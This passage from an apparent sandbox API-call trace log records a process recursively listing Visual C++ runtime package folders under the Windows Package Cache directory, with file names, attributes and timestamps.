ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.305] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.305] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x65089562, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x65089562, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0217.305] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x65089562, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x65089562, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0217.305] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0217.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0217.305] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0217.306] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.306] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.306] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x65089562, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x65089562, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0217.306] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.306] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0217.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0217.307] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x74 [0217.307] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x65089562, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x65089562, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.307] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x65089562, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x65089562, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.307] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b027600, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x1b027600, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x1b027600, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x4f83ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.308] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.308] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.308] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0217.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0217.308] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x74 [0217.308] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x65089562, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x65089562, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.309] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x65089562, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x65089562, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.309] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b027600, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x1b027600, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x1b027600, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x4f83ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.309] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.309] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0217.309] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0217.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0217.310] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x52 [0217.310] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496a9699, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fd5cd, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fd5cd, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.548] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496a9699, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fd5cd, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fd5cd, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.571] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fd5cd, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fe967, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fe967, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.573] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fd5cd, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fe967, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fe967, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0217.590] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0217.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0217.591] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x52 [0217.591] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496a9699, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fd5cd, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fd5cd, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.591] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496a9699, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fd5cd, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fd5cd, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.591] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fd5cd, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fe967, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fe967, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.592] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.592] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0217.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0217.592] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0217.592] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fd5cd, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fe967, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fe967, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.593] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fd5cd, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fe967, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fe967, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.593] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fe967, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0217.593] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fe967, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0217.593] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0217.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0217.593] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0217.594] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fd5cd, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fe967, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fe967, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.594] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fd5cd, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fe967, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fe967, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.594] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fe967, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0217.594] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.594] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0217.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0217.595] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0217.595] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package 